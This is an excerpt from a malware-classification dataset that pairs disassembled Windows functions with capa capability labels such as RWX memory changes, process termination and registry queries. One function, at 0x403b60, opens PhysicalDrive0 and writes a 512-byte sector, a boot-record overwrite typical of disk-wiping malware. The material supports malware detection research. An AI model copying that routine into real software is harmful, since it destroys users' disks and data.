joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45c800
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x80
push esi
mov dword [esp + 4], 0x10d040e
xor esi, esi
mov dword [esp + 8], 0x80b0f02
mov dword [esp + 0xc], 0xc060a03
mov dword [esp + 0x10], 0x7000905
mov dword [esp + 0x14], 0xe08010f
mov dword [esp + 0x18], 0x4030b06
mov dword [esp + 0x1c], 0xd020709
mov dword [esp + 0x20], 0xa05000c
mov dword [esp + 0x24], 0xe09000a
mov dword [esp + 0x28], 0x50f0306
mov dword [esp + 0x2c], 0x70c0d01
mov dword [esp + 0x30], 0x802040b
mov dword [esp + 0x34], 0x30e0d07
mov dword [esp + 0x38], 0xa090600
mov dword [esp + 0x3c], 0x5080201
mov dword [esp + 0x40], 0xf040c0b
mov dword [esp + 0x44], 0x1040c02
mov dword [esp + 0x48], 0x60b0a07
mov dword [esp + 0x4c], 0xf030508
mov dword [esp + 0x50], 0x90e000d
mov dword [esp + 0x54], 0xf0a010c
mov dword [esp + 0x58], 0x8060209
mov dword [esp + 0x5c], 0x4030d00
mov dword [esp + 0x60], 0xb05070e
mov dword [esp + 0x64], 0xe020b04
mov dword [esp + 0x68], 0xd08000f
mov dword [esp + 0x6c], 0x7090c03
mov dword [esp + 0x70], 0x1060a05
mov dword [esp + 0x74], 0x408020d
mov dword [esp + 0x78], 0x10b0f06
mov dword [esp + 0x7c], 0xe03090a
mov dword [esp + 0x80], 0x70c0005
nop dword [eax]
mov ecx, esi
mov edx, esi
sar ecx, 4
and edx, 0xf
movzx eax, byte [esp + ecx + 4]
shl al, 4
or al, byte [esp + edx + 0x14]
mov byte [esi + 0x484150], al
movzx eax, byte [esp + ecx + 0x24]
shl al, 4
or al, byte [esp + edx + 0x34]
mov byte [esi + 0x483e50], al
movzx eax, byte [esp + ecx + 0x44]
shl al, 4
or al, byte [esp + edx + 0x54]
mov byte [esi + 0x484050], al
movzx eax, byte [esp + ecx + 0x64]
shl al, 4
or al, byte [esp + edx + 0x74]
mov byte [esi + 0x483f50], al
inc esi
cmp esi, 0x100
jl 0x45c910
pop esi
add esp, 0x80
ret
Function at 0x401aa0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x409044
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x40903c]
sub esp, 4
test ebx, ebx
je 0x401aeb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x401ae4
test esi, esi
je 0x401ae4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401ac0
mov dword [esp], 0x409044
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401cd0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x401d20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x401df8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401d5e
cmp eax, 4
jne 0x401d80
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401d6e
cmp edx, 4
je 0x401d6e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401cd0
Function at 0x403b60
Capabilities:
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
mov eax, 0x202c
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ecx
call fcn.00401fe0
mov esi, 0x404020
sub esp, eax
lea edi, [ebp - 0x2018]
call fcn.00401990
mov ecx, 0x800
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x10000000
mov dword [esp], str..PhysicalDrive0
call sub.KERNEL32.dll_CreateFileW
mov esi, eax
lea eax, [ebp - 0x2018]
sub esp, 0x1c
mov dword [esp], esi
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x200
mov dword [esp + 4], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov dword [esp], esi
call sub.KERNEL32.dll_CloseHandle
push eax
lea esp, [ebp - 0xc]
xor eax, eax
pop ecx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x45c785
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
mov esi, ecx
mov eax, dword [esi + 4]
push edi
lea ebp, [esi + 4]
push 0x3f4
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
lea ecx, [esi + 0x640]
call fcn.00416580
mov edi, dword [0x56bd00]
push str.SKIN
push 0x66
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
test ebx, ebx
je 0x45c816
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x14], eax
je 0x45c816
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
mov dword [esp + 0x10], eax
je 0x45c80b
push ebx
push edi
add esi, 0x260
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x10]
push eax
push ecx
mov ecx, esi
call fcn.00450750
mov edx, dword [esi]
mov eax, dword [ebp]
mov edx, dword [edx + 0x164]
push eax
mov ecx, esi
call edx
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [ebp]
push ecx
mov ecx, ebp
call fcn.004152d0
mov edx, dword [ebp]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 0x10

Function at 0x45d525
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
mov esi, ecx
mov ebx, 0x10
cmp dword [esi + 0x54], ebx
push edi
jb 0x45d538
mov eax, dword [esi + 0x40]
jmp 0x45d53b
lea eax, [esi + 0x40]
push eax
mov eax, dword [esi + 4]
lea edi, [esi + 4]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
cmp dword [esi + 0x70], ebx
jb 0x45d553
mov ebp, dword [esi + 0x5c]
jmp 0x45d556
lea ebp, [esi + 0x5c]
mov ecx, dword [edi]
mov ebx, dword [sym.imp.USER32.dll_GetDlgItem]
push 1
push ecx
call ebx
push ebp
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov edx, dword [edi]
push 0x3f5
push edx
call ebx
push eax
lea ecx, [esi + 0x458]
call fcn.00416580
mov ebx, dword [0x56bd00]
push str.SKIN
push 0x66
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebp, eax
test ebp, ebp
je 0x45d5ec
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x14], eax
je 0x45d5ec
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
mov dword [esp + 0x10], eax
je 0x45d5e1
push ebp
push ebx
add esi, 0x78
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
mov eax, dword [esp + 0x14]
push eax
mov ecx, esi
call fcn.00450750
mov edx, dword [esi]
mov eax, dword [edi]
mov edx, dword [edx + 0x164]
push eax
mov ecx, esi
call edx
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [edi]
push ecx
mov ecx, edi
call fcn.004152d0
mov edx, dword [edi]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 0x10
Function at 0x4016b0
Capabilities:
Terminate process

Disassembly:
sub esp, 0x68
push esi
mov esi, dword [esp + 0x70]
push edi
push esi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x40178e
push ebx
push ebp
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ebx, dword [esp + 0x80]
mov ebp, eax
mov eax, dword [0x412264]
test eax, eax
mov dword [esp + 0x10], ebp
jne 0x401764
test ebp, ebp
je 0x401768
mov ebp, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea esp, [esp]
push 0x1388
push edi
call ebp
cmp eax, 0x102
jne 0x401760
mov eax, dword [0x41225c]
test eax, eax
jne 0x401700
push esi
push ebx
push str.pv:_Continue_waiting_for_process__s___u__
call fcn.00406218
push 0x411378
call fcn.004063d2
push 0x411358
lea eax, [esp + 0x28]
push 0x64
push eax
call fcn.0040631e
movsx ecx, byte [esp + 0x30]
push ecx
call fcn.00406249
add esp, 0x20
cmp eax, 0x79
je 0x401700
mov dword [esp + 0x10], 0
mov ebp, dword [esp + 0x10]
jmp 0x401768
mov ebp, dword [esp + 0x10]
test ebp, ebp
jne 0x40177d
mov edx, dword [0x411040]
push ebx
push str.pv:_Process__s_can_not_be_terminated._n
push edx
call fcn.004061e6
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebp
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x68
ret
mov eax, dword [esp + 0x78]
mov ecx, dword [0x411040]
push eax
push str.pv:_Access_to__s_is_denied._n
push ecx
call fcn.004061e6
add esp, 0xc
pop edi
xor eax, eax
pop esi
add esp, 0x68
ret
Function at 0x401a20
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x10c
push esi
push edi
xor esi, esi
push 5
mov dword [esp + 0xc], esi
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
mov edi, eax
test edi, edi
je 0x401b74
push ebx
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
push ebp
mov ebp, dword [esp + 0x128]
mov eax, dword [0x412264]
test eax, eax
jne 0x401a7e
push 0xfffffffffffffff0
push edi
call dword [sym.imp.USER32.dll_GetWindowLongA]
test eax, 0x80000
je 0x401b52
test eax, 0x10000000
je 0x401b52
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [esp + 0x120]
mov ecx, dword [esp + 0x14]
cmp ecx, dword [edx + 0xc]
jne 0x401b52
push 0x104
lea eax, [esp + 0x1c]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov eax, dword [esp + 0x124]
test eax, eax
je 0x401ad2
push 0
push eax
lea ecx, [esp + 0x20]
push ecx
call fcn.00405970
add esp, 0xc
test eax, eax
je 0x401b52
mov cl, byte [esp + 0x18]
test cl, cl
lea eax, [esp + 0x18]
je 0x401b52
mov edi, edi
mov cl, byte [eax]
cmp cl, 0x20
jge 0x401aef
cmp cl, 9
je 0x401aef
mov byte [eax], 0x20
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401ae0
lea edx, [esp + 0x18]
cmp eax, edx
jbe 0x401b52
push 8
call fcn.00406570
mov esi, eax
lea eax, [esp + 0x1c]
push eax
call fcn.0040c2e9
mov dword [esi], eax
lea eax, [esi + 4]
mov dword [eax], 0
mov dword [ebp], esi
mov ebp, eax
mov al, byte [0x412250]
add esp, 8
cmp al, 0x63
jne 0x401b4e
mov eax, dword [0x4122b8]
test eax, eax
push 0
je 0x401b41
push eax
push 0x111
jmp 0x401b4b
push 0xf060
push 0x112
push edi
call ebx
inc dword [esp + 0x10]
push 2
push edi
call dword [sym.imp.USER32.dll_GetWindow]
mov edi, eax
test edi, edi
jne 0x401a56
mov eax, dword [esp + 0x10]
pop ebp
pop ebx
pop edi
pop esi
add esp, 0x10c
ret
pop edi
mov eax, esi
pop esi
add esp, 0x10c
ret

Function at 0x401c90
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x412290]
test eax, eax
je 0x401cf9
mov eax, dword [0x4122c0]
test eax, eax
push esi
mov esi, 0x4122c0
je 0x401cd9
cmp esi, 0x4126c0
jae 0x401cba
mov eax, dword [esi + 4]
add esi, 4
test eax, eax
jne 0x401ca8
cmp dword [esi], 0
je 0x401cd9
mov eax, dword [0x411040]
push str.pv:_Too_many_processes_to_wait_for_n
push eax
call fcn.004061e6
add esp, 8
push 3
call fcn.004066dd
push 0x78
call fcn.00406570
add esp, 4
test eax, eax
mov dword [esi], eax
je 0x401cf8
mov esi, dword [esp + 8]
push edi
mov ecx, 0x1e
mov edi, eax
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
ret
Function at 0x402db0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x411040]
push str.pv:_Use_pv__h_for_help_n
push eax
call fcn.004061e6
add esp, 8
push 2
call fcn.004066dd
int3
push ecx
mov eax, dword [0x412260]
test eax, eax
push ebx
mov ebx, dword [esp + 0xc]
push esi
je 0x402e09
push edi
mov edi, 0x40d7d0
mov esi, ebx
mov ecx, 2
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
pop edi
je 0x402e09
push eax
lea ecx, [esp + 0xc]
push ecx
push ebx
call fcn.00406969
add esp, 0xc
test eax, eax
je 0x402df0
mov edx, dword [esp + 8]
cmp byte [edx], 0
je 0x402e09
mov eax, dword [0x411040]
push ebx
push str._npv:_Invalid_process_ID__s_n
push eax
call fcn.004061e6
add esp, 0xc
jmp 0x402780
push ebx
call fcn.00402350
mov esi, dword [0x4127d8]
add esp, 4
test esi, esi
je 0x402e30
lea esp, [esp]
push esi
push ebx
call fcn.00402ad0
mov esi, dword [esi]
add esp, 8
test esi, esi
jne 0x402e20
push ebx
call fcn.00402500
add esp, 4
pop esi
pop ebx
pop ecx
ret
Function at 0x403e40
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 8]
push eax
push 0
push 0
push 0
push str.Counter_009
mov esi, ecx
push 0x80000004
mov dword [esi], 0
call edi
test eax, eax
jne 0x403eb5
mov ecx, dword [esp + 8]
add ecx, 2
push ecx
call fcn.00406ea9
add esp, 4
lea edx, [esp + 8]
push edx
push eax
push 0
push 0
push str.Counter_009
push 0x80000004
mov dword [esi], eax
call edi
test eax, eax
je 0x403ea0
mov dword [esp + 8], 0
mov eax, dword [esi]
mov ecx, dword [esp + 8]
mov byte [ecx + eax], 0
mov edx, dword [esi]
mov eax, dword [esp + 8]
mov byte [edx + eax + 1], 0
pop edi
mov eax, esi
pop esi
pop ecx
ret

Function at 0x403f70
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
push ebx
mov ebx, ecx
cmp dword [ebx], 0
push esi
push edi
je 0x403fe5
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, 0x20000
mov eax, dword [ebx + 0x48]
test eax, eax
je 0x403fb4
mov ecx, dword [ebx + 0x44]
lea edx, [esp + 0xc]
push edx
push eax
push 0
push 0
lea eax, [ebx + 4]
push eax
push 0x80000004
mov dword [esp + 0x24], ecx
call esi
test eax, eax
je 0x403fec
cmp eax, 0xea
jne 0x403fd2
mov edx, dword [ebx + 0x44]
mov ecx, dword [ebx + 0x48]
add edx, edi
mov eax, edx
push eax
push ecx
mov dword [ebx + 0x44], edx
call fcn.00406f24
add esp, 8
test eax, eax
mov dword [ebx + 0x48], eax
jne 0x403f86
mov eax, dword [ebx + 0x48]
push eax
call fcn.004069e8
add esp, 4
mov dword [ebx + 0x48], 0
pop edi
pop esi
xor al, al
pop ebx
pop ecx
ret
mov esi, dword [ebx + 0x48]
mov ecx, 2
mov edi, str.PERF
xor edx, edx
repe cmpsd dword [esi], dword es:[edi]
jne 0x403fd2
pop edi
pop esi
mov al, 1
pop ebx
pop ecx
ret
Function at 0x4042b0
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40ec08
push 0x407180
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0
push 0
push 3
push 0
push 3
push 0x80000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x20], edi
cmp edi, 0xffffffff
je 0x404351
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, eax
mov dword [ebp - 0x28], esi
test esi, esi
jne 0x40432d
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
mov dword [ebp - 0x24], ebx
test ebx, ebx
jne 0x404364
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov dword [ebp - 0x2c], eax
cmp word [ebx], 0x5a4d
jne 0x4043b3
cmp word [eax], 0x454e
jne 0x4043b3
movzx ecx, word [eax + 0x26]
add eax, ecx
movzx ecx, byte [eax]
inc ecx
movzx edx, word [ebp + 0x10]
cmp ecx, edx
jl 0x404395
mov ecx, edx
push ecx
inc eax
push eax
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov esi, 1
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], 0xffffffff
jmp 0x4043d9
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], 0xffffffff
jmp 0x4043d9
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push edi
call ebx
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404930
Capabilities:
Query environment variable

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
sub esp, 0x108
push ebx
mov ebx, dword [esp + 0x118]
push edi
mov edi, dword [esp + 0x120]
push edi
push ebx
push eax
push ecx
call dword [fcn.00412770]
cmp byte [ebx], 0x5c
jne 0x404a3f
mov al, byte [ebx + 1]
cmp al, 0x5c
push esi
lea esi, [ebx + 1]
je 0x404a3e
push 4
push str.___
push ebx
call fcn.00406e70
add esp, 0xc
test eax, eax
jne 0x40499f
add edi, 0xfffffffc
push edi
lea edx, [ebx + 4]
push edx
push ebx
call fcn.00406ae0
add esp, 0xc
pop esi
pop edi
pop ebx
add esp, 0x108
ret
push ebp
push esi
call fcn.0040c2e9
mov ebp, eax
add esp, 4
test ebp, ebp
mov dword [esp + 0x10], ebp
je 0x404a3d
cmp byte [ebp], 0x5c
mov esi, ebp
je 0x4049d6
nop
cmp byte [esi], 0
je 0x4049d6
push esi
call fcn.00401160
mov esi, eax
mov al, byte [esi]
add esp, 4
cmp al, 0x5c
jne 0x4049c0
cmp byte [esi], 0x5c
jne 0x404a34
cmp esi, ebp
jbe 0x404a34
push 0x104
lea eax, [esp + 0x18]
push eax
mov byte [esi], 0
push ebp
inc esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov edi, eax
test edi, edi
je 0x404a34
mov eax, esi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404a00
sub eax, edx
lea ecx, [eax + edi + 1]
cmp ecx, dword [esp + 0x128]
jae 0x404a34
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x14]
push edx
push ebx
call ebp
push esi
lea eax, [edi + ebx + 1]
push eax
mov byte [edi + ebx], 0x5c
call ebp
mov ebp, dword [esp + 0x10]
push ebp
call fcn.004069e8
add esp, 4
pop ebp
pop esi
pop edi
pop ebx
add esp, 0x108
ret
Function at 0x405d40
Capabilities:
Get file version info

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
lea eax, [esp + 0xc]
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
je 0x405d89
push esi
call fcn.00406570
mov edi, eax
add esp, 4
test edi, edi
je 0x405d89
mov ecx, dword [esp + 0xc]
push edi
push esi
push ecx
push ebx
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x405d80
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
ret
push edi
call fcn.004069e8
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
pop ecx
ret

Function at 0x40661c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x412838], esi
push edi
jne 0x40663c
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x412834], esi
mov byte [0x412830], al
jne 0x4066a2
mov ecx, dword [0x412d8c]
test ecx, ecx
je 0x406683
mov eax, dword [0x412d88]
sub eax, 4
cmp eax, ecx
jmp 0x40667c
mov eax, dword [eax]
test eax, eax
je 0x40666e
call eax
mov eax, dword [0x412d88]
sub eax, 4
cmp eax, dword [0x412d8c]
mov dword [0x412d88], eax
jae 0x406666
mov eax, 0x411024
mov esi, 0x41102c
cmp eax, esi
mov edi, eax
jae 0x4066a2
mov eax, dword [edi]
test eax, eax
je 0x40669b
call eax
add edi, 4
cmp edi, esi
jb 0x406693
mov eax, 0x411030
mov esi, 0x411034
cmp eax, esi
mov edi, eax
jae 0x4066c1
mov eax, dword [edi]
test eax, eax
je 0x4066ba
call eax
add edi, 4
cmp edi, esi
jb 0x4066b2
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x4066db
push dword [ebp + 8]
mov dword [0x412838], 1
call fcn.00406582
pop ebp
ret
Function at 0x40741f
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x18
push 0x40f428
call fcn.0040a810
mov edi, 0x94
mov eax, edi
call fcn.00407290
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x4127f8], ecx
mov eax, dword [esi + 4]
mov dword [0x412804], eax
mov edx, dword [esi + 8]
mov dword [0x412808], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x4127fc], esi
cmp ecx, 2
je 0x40747f
or esi, 0x8000
mov dword [0x4127fc], esi
shl eax, 8
add eax, edx
mov dword [0x412800], eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x4074b8
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4074b8
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x4074d0
cmp eax, 0x20b
je 0x4074bd
mov dword [ebp - 0x1c], edi
jmp 0x4074e4
cmp dword [ecx + 0x84], 0xe
jbe 0x4074b8
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x4074de
cmp dword [ecx + 0x74], 0xe
jbe 0x4074b8
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
push edi
call fcn.004088b5
pop ecx
test eax, eax
jne 0x407510
cmp dword [0x412850], 2
je 0x4074fd
call fcn.0040a26d
push 0x1c
call fcn.0040a0f6
push 0xff
call fcn.00406582
pop ecx
pop ecx
call fcn.004094e5
mov dword [ebp - 4], edi
call fcn.004075e6
test eax, eax
jge 0x407529
push 0x1b
call fcn.004073fa
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x412d80], eax
call fcn.0040a6ec
mov dword [0x412848], eax
call fcn.0040a64a
test eax, eax
jge 0x40754f
push 8
call fcn.004073fa
pop ecx
call fcn.0040a417
test eax, eax
jge 0x407560
push 9
call fcn.004073fa
pop ecx
push 1
call fcn.004065b2
pop ecx
mov dword [ebp - 0x24], eax
cmp eax, edi
je 0x407576
push eax
call fcn.004073fa
pop ecx
mov eax, dword [0x412818]
mov dword [0x41281c], eax
push eax
push dword [0x412810]
push dword [0x41280c]
call fcn.00402e40
add esp, 0xc
mov esi, eax
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x1c], edi
jne 0x4075a5
push esi
call fcn.004066dd
call fcn.004066ff
jmp 0x4075d7
or dword [ebp - 4], 0xffffffff
mov eax, esi
lea esp, [ebp - 0x34]
call fcn.0040a84b
ret